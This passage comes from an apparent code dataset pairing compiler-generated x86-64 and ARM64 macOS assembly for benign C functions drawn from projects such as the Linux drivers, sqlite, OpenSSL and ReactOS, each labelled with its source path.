16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_2: Lloh0: adrp x8, l_.str@PAGE Lloh1: add x8, x8, l_.str@PAGEOFF cmp x20, #0 csel x20, x8, x20, eq mov x0, x19 bl _strlen mov x23, x0 mov x0, x20 bl _strlen mov x21, x0 ldr x0, [x22] mov x1, x19 subs x25, x21, x23 b.hs LBB0_10 ; %bb.3: bl _strstr cbz x0, LBB0_1 ; %bb.4: mov x24, x0 mov x26, #0 ; =0x0 mov x27, #0 ; =0x0 neg x23, x23 b LBB0_7 LBB0_5: ; in Loop: Header=BB0_7 Depth=1 mov x0, x24 mov x1, x20 bl _strcpy LBB0_6: ; in Loop: Header=BB0_7 Depth=1 add x0, x24, x21 mov x1, x19 bl _strstr mov x24, x0 add x27, x27, #1 add x26, x26, x25 cbz x0, LBB0_21 LBB0_7: ; =>This Inner Loop Header: Depth=1 add x0, x24, x23 bl _strlen cbz x0, LBB0_5 ; %bb.8: ; in Loop: Header=BB0_7 Depth=1 mov x8, x0 add x0, x24, x21 add x1, x24, x23 add x2, x8, #1 bl _memmove cbz x21, LBB0_6 ; %bb.9: ; in Loop: Header=BB0_7 Depth=1 mov x0, x24 mov x1, x20 mov x2, x21 bl _memcpy b LBB0_6 LBB0_10: bl _strstr cmp x21, x23 b.ls LBB0_23 ; %bb.11: cbz x0, LBB0_1 ; %bb.12: mov x24, #0 ; =0x0 mov x25, #0 ; =0x0 sub x26, x23, x21 LBB0_13: ; =>This Inner Loop Header: Depth=1 add x0, x0, x23 mov x1, x19 bl _strstr sub x25, x25, #1 add x24, x24, x26 cbnz x0, LBB0_13 ; %bb.14: cbz x25, LBB0_1 ; %bb.15: ldr x8, [x22, #8] sub x8, x8, x24 str x8, [x22, #8] add x1, x8, #1 mov x0, x22 bl _dstr_ensure_capacity ldr x0, [x22] mov x1, x19 bl _strstr cbz x0, LBB0_1 ; %bb.16: mov x22, x0 b LBB0_19 LBB0_17: ; in Loop: Header=BB0_19 Depth=1 mov x0, x22 mov x1, x20 bl _strcpy LBB0_18: ; in Loop: Header=BB0_19 Depth=1 add x0, x22, x21 mov x1, x19 bl _strstr mov x22, x0 cbz x0, LBB0_1 LBB0_19: ; =>This Inner Loop Header: Depth=1 add x0, x22, x23 bl _strlen cbz x0, LBB0_17 ; %bb.20: ; in Loop: Header=BB0_19 Depth=1 mov x8, x0 add x0, x22, x21 add x1, x22, x23 add x2, x8, #1 bl _memmove mov x0, x22 mov x1, x20 mov x2, x21 bl _memcpy b LBB0_18 LBB0_21: cbz x27, LBB0_1 ; %bb.22: ldr x8, [x22, #8] sub x8, x8, x26 str x8, [x22, #8] b LBB0_1 LBB0_23: cbz x0, LBB0_1 LBB0_24: ; =>This Inner Loop Header: Depth=1 mov x22, x0 mov x1, x20 mov x2, x21 bl _memcpy add x0, x22, x21 mov x1, x19 bl _strstr cbnz x0, LBB0_24 b LBB0_1 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .space 1 .subsections_via_symbols

assembly_file_58009.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rtl92c_disable_fast_edca ## -- Begin function rtl92c_disable_fast_edca .p2align 4, 0x90 _rtl92c_disable_fast_edca: ## @rtl92c_disable_fast_edca .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _rtl_priv movq _REG_FAST_EDCA_CTRL@GOTPCREL(%rip), %rcx movl (%rcx), %esi movq %rax, %rdi xorl %edx, %edx popq %rbp jmp _rtl_write_word ## TAILCALL .cfi_endproc ## -- End function .comm _REG_FAST_EDCA_CTRL,4,2 ## @REG_FAST_EDCA_CTRL .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rtl92c_disable_fast_edca ; -- Begin function rtl92c_disable_fast_edca .p2align 2 _rtl92c_disable_fast_edca: ; @rtl92c_disable_fast_edca .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _rtl_priv Lloh0: adrp x8, _REG_FAST_EDCA_CTRL@GOTPAGE Lloh1: ldr x8, [x8, _REG_FAST_EDCA_CTRL@GOTPAGEOFF] Lloh2: ldr w1, [x8] mov w2, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload b _rtl_write_word .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _REG_FAST_EDCA_CTRL,4,2 ; @REG_FAST_EDCA_CTRL .subsections_via_symbols

AnghaBench/linux/drivers/net/wireless/realtek/rtlwifi/rtl8192cu/extr_mac.c_rtl92c_disable_fast_edca.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _TrimLogLevel ## -- Begin function TrimLogLevel .p2align 4, 0x90 _TrimLogLevel: ## @TrimLogLevel .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 callq _pchomp movq %rax, %rbx movq %rax, %rdi callq _strlen xorl %ecx, %ecx jmp LBB0_1 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_1 Depth=1 decq %rcx LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpq %rax, %rcx jbe LBB0_7 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 cmpb $58, (%rbx,%rcx) jne LBB0_7 ## %bb.3: incq %rcx .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movq %rcx, %rdx cmpq %rax, %rcx jae LBB0_6 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 leaq 1(%rdx), %rcx cmpb $32, (%rbx,%rdx) je LBB0_4 LBB0_6: subq %rdx, %rbx movq %rbx, %rax addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _TrimLogLevel ; -- Begin function TrimLogLevel .p2align 2 _TrimLogLevel: ; @TrimLogLevel .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 bl _pchomp mov x19, x0 bl _strlen mov x8, #0 ; =0x0 b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 sub x8, x8, #1 LBB0_2: ; =>This Inner Loop Header: Depth=1 cmp x8, x0 b.ls LBB0_1 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 ldrb w9, [x19, x8] cmp w9, #58 b.ne LBB0_1 ; %bb.4: add x9, x8, #1 LBB0_5: ; =>This Inner Loop Header: Depth=1 mov x8, x9 cmp x9, x0 b.hs LBB0_7 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 ldrb w10, [x19, x8] add x9, x8, #1 cmp w10, #32 b.eq LBB0_5 LBB0_7: sub x0, x19, x8 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols

assembly_file_118229.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _t3_seeprom_write ## -- Begin function t3_seeprom_write .p2align 4, 0x90 _t3_seeprom_write: ## @t3_seeprom_write .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _EEPROMSIZE@GOTPCREL(%rip), %rax cmpl %esi, (%rax) setg %al movq _EEPROM_STAT_ADDR@GOTPCREL(%rip), %rcx cmpl %esi, (%rcx) sete %cl movl %esi, -44(%rbp) ## 4-byte Spill testb $3, %sil jne LBB0_2 ## %bb.1: orb %cl, %al je LBB0_2 ## %bb.3: movq %rdi, %r13 movl (%rdi), %r15d movl 4(%rdi), %ebx movq _EEPROM_MAX_POLL@GOTPCREL(%rip), %rax movl (%rax), %r14d movq _PCI_VPD_DATA@GOTPCREL(%rip), %rax movq (%rax), %r12 addq %rbx, %r12 movl %edx, %edi callq _le32_to_cpu movl %r15d, %edi movq %r12, %rsi movl %eax, %edx callq _pci_write_config_dword movl (%r13), %edi movq _PCI_VPD_ADDR@GOTPCREL(%rip), %rax movq (%rax), %rsi addq %rbx, %rsi movq _PCI_VPD_ADDR_F@GOTPCREL(%rip), %r12 movl (%r12), %edx orl -44(%rbp), %edx ## 4-byte Folded Reload callq _pci_write_config_word decl %r14d leaq -48(%rbp), %r15 .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movl $1, %edi callq _msleep movl (%r13), %edi movq _PCI_VPD_ADDR@GOTPCREL(%rip), %rax movq (%rax), %rsi addq %rbx, %rsi movq %r15, %rdx callq _pci_read_config_word movl (%r12), %eax subl $1, %r14d setb %cl andl -48(%rbp), %eax je LBB0_6 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 testb %cl, %cl je LBB0_4 LBB0_6: testl %eax, %eax je LBB0_7 ## %bb.8: leaq L_.str(%rip), %rsi movq %r13, %rdi movl -44(%rbp), %edx ## 4-byte Reload callq _CH_ERR movq _EIO@GOTPCREL(%rip), %rcx jmp LBB0_9 LBB0_2: movq _EINVAL@GOTPCREL(%rip), %rcx LBB0_9: xorl %eax, %eax subl (%rcx), %eax LBB0_10: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_7: xorl %eax, %eax jmp LBB0_10 .cfi_endproc ## -- End function .comm _EEPROM_MAX_POLL,4,2 ## @EEPROM_MAX_POLL .comm _EEPROMSIZE,4,2 ## @EEPROMSIZE .comm _EEPROM_STAT_ADDR,4,2 ## @EEPROM_STAT_ADDR .comm _EINVAL,4,2 ## @EINVAL .comm _PCI_VPD_DATA,8,3 ## @PCI_VPD_DATA .comm _PCI_VPD_ADDR,8,3 ## @PCI_VPD_ADDR .comm _PCI_VPD_ADDR_F,4,2 ## @PCI_VPD_ADDR_F .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "write to EEPROM address 0x%x failed\n" .comm _EIO,4,2 ## @EIO .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _t3_seeprom_write ; -- Begin function t3_seeprom_write .p2align 2 _t3_seeprom_write: ; @t3_seeprom_write .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 Lloh0: adrp x8, _EEPROMSIZE@GOTPAGE Lloh1: ldr x8, [x8, _EEPROMSIZE@GOTPAGEOFF] Lloh2: ldr w8, [x8] cmp w8, w1 Lloh3: adrp x8, _EEPROM_STAT_ADDR@GOTPAGE Lloh4: ldr x8, [x8, _EEPROM_STAT_ADDR@GOTPAGEOFF] Lloh5: ldr w8, [x8] ccmp w8, w1, #4, le cset w8, eq tst w1, #0x3 b.ne LBB0_6 ; %bb.1: tbz w8, #0, LBB0_6 ; %bb.2: mov x19, x1 mov x20, x0 Lloh6: adrp x8, _EEPROM_MAX_POLL@GOTPAGE Lloh7: ldr x8, [x8, _EEPROM_MAX_POLL@GOTPAGEOFF] Lloh8: ldr w24, [x8] ldp w21, w23, [x0] Lloh9: adrp x8, _PCI_VPD_DATA@GOTPAGE Lloh10: ldr x8, [x8, _PCI_VPD_DATA@GOTPAGEOFF] Lloh11: ldr x8, [x8] add x22, x8, x23 mov x0, x2 bl _le32_to_cpu mov x2, x0 mov x0, x21 mov x1, x22 bl _pci_write_config_dword ldr w0, [x20] Lloh12: adrp x21, _PCI_VPD_ADDR@GOTPAGE Lloh13: ldr x21, [x21, _PCI_VPD_ADDR@GOTPAGEOFF] ldr x8, [x21] add x1, x8, x23 Lloh14: adrp x22, _PCI_VPD_ADDR_F@GOTPAGE Lloh15: ldr x22, [x22, _PCI_VPD_ADDR_F@GOTPAGEOFF] ldr w8, [x22] orr w2, w8, w19 bl _pci_write_config_word sub w24, w24, #1 LBB0_3: ; =>This Inner Loop Header: Depth=1 mov w0, #1 bl _msleep ldr w0, [x20] ldr x8, [x21] add x1, x8, x23 add x2, sp, #12 bl _pci_read_config_word ldr w8, [sp, #12] ldr w9, [x22] and w8, w9, w8 cmp w8, #0 ccmp w24, #0, #4, ne sub w24, w24, #1 b.ne LBB0_3 ; %bb.4: cbz w8, LBB0_9 ; %bb.5: Lloh16: adrp x1, l_.str@PAGE Lloh17: add x1, x1, l_.str@PAGEOFF mov x0, x20 mov x2, x19 bl _CH_ERR Lloh18: adrp x8, _EIO@GOTPAGE Lloh19: ldr x8, [x8, _EIO@GOTPAGEOFF] b LBB0_7 LBB0_6: Lloh20: adrp x8, _EINVAL@GOTPAGE Lloh21: ldr x8, [x8, _EINVAL@GOTPAGEOFF] LBB0_7: ldr w8, [x8] neg w0, w8 LBB0_8: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_9: mov w0, #0 b LBB0_8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGot Lloh18, Lloh19 .loh AdrpAdd Lloh16, Lloh17 .loh AdrpLdrGot Lloh20, Lloh21 .cfi_endproc ; -- End function .comm _EEPROM_MAX_POLL,4,2 ; @EEPROM_MAX_POLL .comm _EEPROMSIZE,4,2 ; @EEPROMSIZE .comm _EEPROM_STAT_ADDR,4,2 ; @EEPROM_STAT_ADDR .comm _EINVAL,4,2 ; @EINVAL .comm _PCI_VPD_DATA,8,3 ; @PCI_VPD_DATA .comm _PCI_VPD_ADDR,8,3 ; @PCI_VPD_ADDR .comm _PCI_VPD_ADDR_F,4,2 ; @PCI_VPD_ADDR_F .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "write to EEPROM address 0x%x failed\n" .comm _EIO,4,2 ; @EIO .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/chelsio/cxgb3/extr_t3_hw.c_t3_seeprom_write.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _acado_printHeader ## -- Begin function acado_printHeader .p2align 4, 0x90 _acado_printHeader: ## @acado_printHeader .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_str(%rip), %rdi callq _puts leaq L_str.2(%rip), %rdi popq %rbp jmp _puts ## TAILCALL .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_str: ## @str .asciz "\nACADO Toolkit -- A Toolkit for Automatic Control and Dynamic Optimization.\nCopyright (C) 2008-2015 by Boris Houska, Hans Joachim Ferreau,\nMilan Vukov and Rien Quirynen, KU Leuven." L_str.2: ## @str.2 .asciz "Developed within the Optimization in Engineering Center (OPTEC) under\nsupervision of Moritz Diehl. All rights reserved.\n\nACADO Toolkit is distributed under the terms of the GNU Lesser\nGeneral Public License 3 in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Lesser General Public License for more details.\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _acado_printHeader ; -- Begin function acado_printHeader .p2align 2 _acado_printHeader: ; @acado_printHeader .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x0, l_str@PAGE Lloh1: add x0, x0, l_str@PAGEOFF bl _puts Lloh2: adrp x0, l_str.2@PAGE Lloh3: add x0, x0, l_str.2@PAGEOFF ldp x29, x30, [sp], #16 ; 16-byte Folded Reload b _puts .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_str: ; @str .asciz "\nACADO Toolkit -- A Toolkit for Automatic Control and Dynamic Optimization.\nCopyright (C) 2008-2015 by Boris Houska, Hans Joachim Ferreau,\nMilan Vukov and Rien Quirynen, KU Leuven." l_str.2: ; @str.2 .asciz "Developed within the Optimization in Engineering Center (OPTEC) under\nsupervision of Moritz Diehl. All rights reserved.\n\nACADO Toolkit is distributed under the terms of the GNU Lesser\nGeneral Public License 3 in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Lesser General Public License for more details.\n" .subsections_via_symbols

AnghaBench/openpilot/selfdrive/controls/lib/longitudinal_mpc/lib_mpc_export/extr_acado_auxiliary_functions.c_acado_printHeader.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function destroy_key _destroy_key: ## @destroy_key .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movl (%rdi), %eax incl %eax movl %eax, (%rdi) cmpl $2, %eax jne LBB0_2 ## %bb.1: movq _key@GOTPCREL(%rip), %rax movl (%rax), %edi movq %rbx, %rsi callq _pthread_setspecific testq %rax, %rax jmp LBB0_3 LBB0_2: cmpl $3, %eax LBB0_3: sete %al movzbl %al, %edi callq _assert movq _thread_destroyed@GOTPCREL(%rip), %rax movq (%rax), %rax movq _accesscount@GOTPCREL(%rip), %rcx subq (%rcx), %rbx movl $1, (%rax,%rbx) addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _key,4,2 ## @key .comm _thread_destroyed,8,3 ## @thread_destroyed .comm _accesscount,8,3 ## @accesscount .no_dead_strip _destroy_key .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function destroy_key _destroy_key: ; @destroy_key .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr w8, [x0] add w8, w8, #1 str w8, [x0] cmp w8, #2 b.ne LBB0_2 ; %bb.1: Lloh0: adrp x8, _key@GOTPAGE Lloh1: ldr x8, [x8, _key@GOTPAGEOFF] Lloh2: ldr w0, [x8] mov x1, x19 bl _pthread_setspecific cmp x0, #0 b LBB0_3 LBB0_2: cmp w8, #3 LBB0_3: cset w0, eq bl _assert Lloh3: adrp x8, _thread_destroyed@GOTPAGE Lloh4: ldr x8, [x8, _thread_destroyed@GOTPAGEOFF] Lloh5: adrp x9, _accesscount@GOTPAGE Lloh6: ldr x9, [x9, _accesscount@GOTPAGEOFF] Lloh7: ldr x8, [x8] Lloh8: ldr x9, [x9] sub x9, x19, x9 mov w10, #1 str w10, [x8, x9] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh7 .cfi_endproc ; -- End function .comm _key,4,2 ; @key .comm _thread_destroyed,8,3 ; @thread_destroyed .comm _accesscount,8,3 ; @accesscount .no_dead_strip _destroy_key .subsections_via_symbols

AnghaBench/obs-studio/deps/w32-pthreads/tests/extr_tsd2.c_destroy_key.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function growOpArray _growOpArray: ## @growOpArray .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx movl (%rdi), %eax leal (,%rax,8), %ecx testl %eax, %eax movl $1024, %edx ## imm = 0x400 cmovnel %ecx, %edx movl 16(%rdi), %edi movq 8(%rbx), %rsi callq _sqlite3DbRealloc movq %rax, %r14 testq %rax, %rax je LBB0_2 ## %bb.1: movl 16(%rbx), %edi movq %r14, %rsi callq _sqlite3DbMallocSize sarl $2, %eax movl %eax, (%rbx) movq %r14, 8(%rbx) LBB0_2: testq %r14, %r14 jne LBB0_3 ## %bb.4: movq _SQLITE_NOMEM@GOTPCREL(%rip), %rax jmp LBB0_5 LBB0_3: movq _SQLITE_OK@GOTPCREL(%rip), %rax LBB0_5: movl (%rax), %eax popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _SQLITE_OK,4,2 ## @SQLITE_OK .comm _SQLITE_NOMEM,4,2 ## @SQLITE_NOMEM .no_dead_strip _growOpArray .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function growOpArray _growOpArray: ; @growOpArray .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr w8, [x0] lsl w9, w8, #3 mov w10, #1024 cmp w8, #0 csel w2, w10, w9, eq ldr w0, [x0, #16] ldr x1, [x19, #8] bl _sqlite3DbRealloc mov x20, x0 cbz x0, LBB0_2 ; %bb.1: ldr w0, [x19, #16] mov x1, x20 bl _sqlite3DbMallocSize asr w8, w0, #2 str w8, [x19] str x20, [x19, #8] LBB0_2: Lloh0: adrp x8, _SQLITE_OK@GOTPAGE Lloh1: ldr x8, [x8, _SQLITE_OK@GOTPAGEOFF] Lloh2: adrp x9, _SQLITE_NOMEM@GOTPAGE Lloh3: ldr x9, [x9, _SQLITE_NOMEM@GOTPAGEOFF] cmp x20, #0 csel x8, x9, x8, eq ldr w0, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _SQLITE_OK,4,2 ; @SQLITE_OK .comm _SQLITE_NOMEM,4,2 ; @SQLITE_NOMEM .no_dead_strip _growOpArray .subsections_via_symbols

AnghaBench/Craft/deps/sqlite/extr_sqlite3.c_growOpArray.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function application_java_filter _application_java_filter: ## @application_java_filter .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %eax, %eax cmpl $5, %esi jl LBB0_5 ## %bb.1: cmpl $202, (%rdi) jne LBB0_5 ## %bb.2: cmpl $254, 4(%rdi) jne LBB0_5 ## %bb.3: cmpl $186, 8(%rdi) jne LBB0_5 ## %bb.4: xorl %eax, %eax cmpl $190, 12(%rdi) sete %al LBB0_5: popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _application_java_filter .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function application_java_filter _application_java_filter: ; @application_java_filter .cfi_startproc ; %bb.0: cmp w1, #5 b.lt LBB0_5 ; %bb.1: ldr w8, [x0] cmp w8, #202 b.ne LBB0_5 ; %bb.2: ldr w8, [x0, #4] cmp w8, #254 b.ne LBB0_5 ; %bb.3: ldr w8, [x0, #8] cmp w8, #186 b.ne LBB0_5 ; %bb.4: ldr w8, [x0, #12] cmp w8, #190 cset w0, eq ret LBB0_5: mov w0, #0 ret .cfi_endproc ; -- End function .no_dead_strip _application_java_filter .subsections_via_symbols

AnghaBench/reactos/dll/win32/urlmon/extr_mimefilter.c_application_java_filter.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _CRYPTO_secure_clear_free ## -- Begin function CRYPTO_secure_clear_free .p2align 4, 0x90 _CRYPTO_secure_clear_free: ## @CRYPTO_secure_clear_free .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp jmp _c_CRYPTO_secure_clear_free ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _CRYPTO_secure_clear_free ; -- Begin function CRYPTO_secure_clear_free .p2align 2 _CRYPTO_secure_clear_free: ; @CRYPTO_secure_clear_free .cfi_startproc ; %bb.0: b _c_CRYPTO_secure_clear_free .cfi_endproc ; -- End function .subsections_via_symbols

AnghaBench/openssl/providers/fips/extr_fipsprov.c_CRYPTO_secure_clear_free.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ag71xx_debugfs_update_int_stats ## -- Begin function ag71xx_debugfs_update_int_stats .p2align 4, 0x90 _ag71xx_debugfs_update_int_stats: ## @ag71xx_debugfs_update_int_stats .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp testl %esi, %esi je LBB0_2 ## %bb.1: incl 24(%rdi) LBB0_2: movq _AG71XX_INT_TX_PS@GOTPCREL(%rip), %rax testl %esi, (%rax) je LBB0_4 ## %bb.3: incl 20(%rdi) LBB0_4: movq _AG71XX_INT_TX_UR@GOTPCREL(%rip), %rax testl %esi, (%rax) je LBB0_6 ## %bb.5: incl 16(%rdi) LBB0_6: movq _AG71XX_INT_TX_BE@GOTPCREL(%rip), %rax testl %esi, (%rax) je LBB0_8 ## %bb.7: incl 12(%rdi) LBB0_8: movq _AG71XX_INT_RX_PR@GOTPCREL(%rip), %rax testl %esi, (%rax) je LBB0_10 ## %bb.9: incl 8(%rdi) LBB0_10: movq _AG71XX_INT_RX_OF@GOTPCREL(%rip), %rax testl %esi, (%rax) je LBB0_12 ## %bb.11: incl 4(%rdi) LBB0_12: movq _AG71XX_INT_RX_BE@GOTPCREL(%rip), %rax testl %esi, (%rax) je LBB0_14 ## %bb.13: incl (%rdi) LBB0_14: popq %rbp retq .cfi_endproc ## -- End function .comm _AG71XX_INT_TX_PS,4,2 ## @AG71XX_INT_TX_PS .comm _AG71XX_INT_TX_UR,4,2 ## @AG71XX_INT_TX_UR .comm _AG71XX_INT_TX_BE,4,2 ## @AG71XX_INT_TX_BE .comm _AG71XX_INT_RX_PR,4,2 ## @AG71XX_INT_RX_PR .comm _AG71XX_INT_RX_OF,4,2 ## @AG71XX_INT_RX_OF .comm _AG71XX_INT_RX_BE,4,2 ## @AG71XX_INT_RX_BE .subsections_via_symbols

